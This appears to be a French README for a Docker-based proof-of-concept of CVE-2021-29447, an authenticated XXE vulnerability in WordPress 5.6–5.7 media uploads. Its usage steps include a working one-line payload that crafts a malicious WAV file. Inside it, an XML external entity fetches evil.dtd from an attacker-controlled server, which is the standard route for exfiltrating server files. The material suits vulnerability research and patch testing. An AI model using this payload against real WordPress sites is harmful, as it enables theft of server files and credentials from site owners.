WordPress 5.6-5.7 - XXE Authentifié (Auteur+) (CVE-2021-29447)

Utilisation

Étape 1. Lancer WordPress

$ make up-wp

Étape 2. Lancer le serveur web attaquant

$ make up-mal

Étape 3. Générer un fichier WAV malveillant

Sans wavefile npm (Recommandé)

$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

Avec wavefile npm

$ make make-wav

Étape 4. Connectez-vous à WordPress et téléchargez le fichier WAV dans Nouveau média

Étape 5. Décoder

Références

• WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability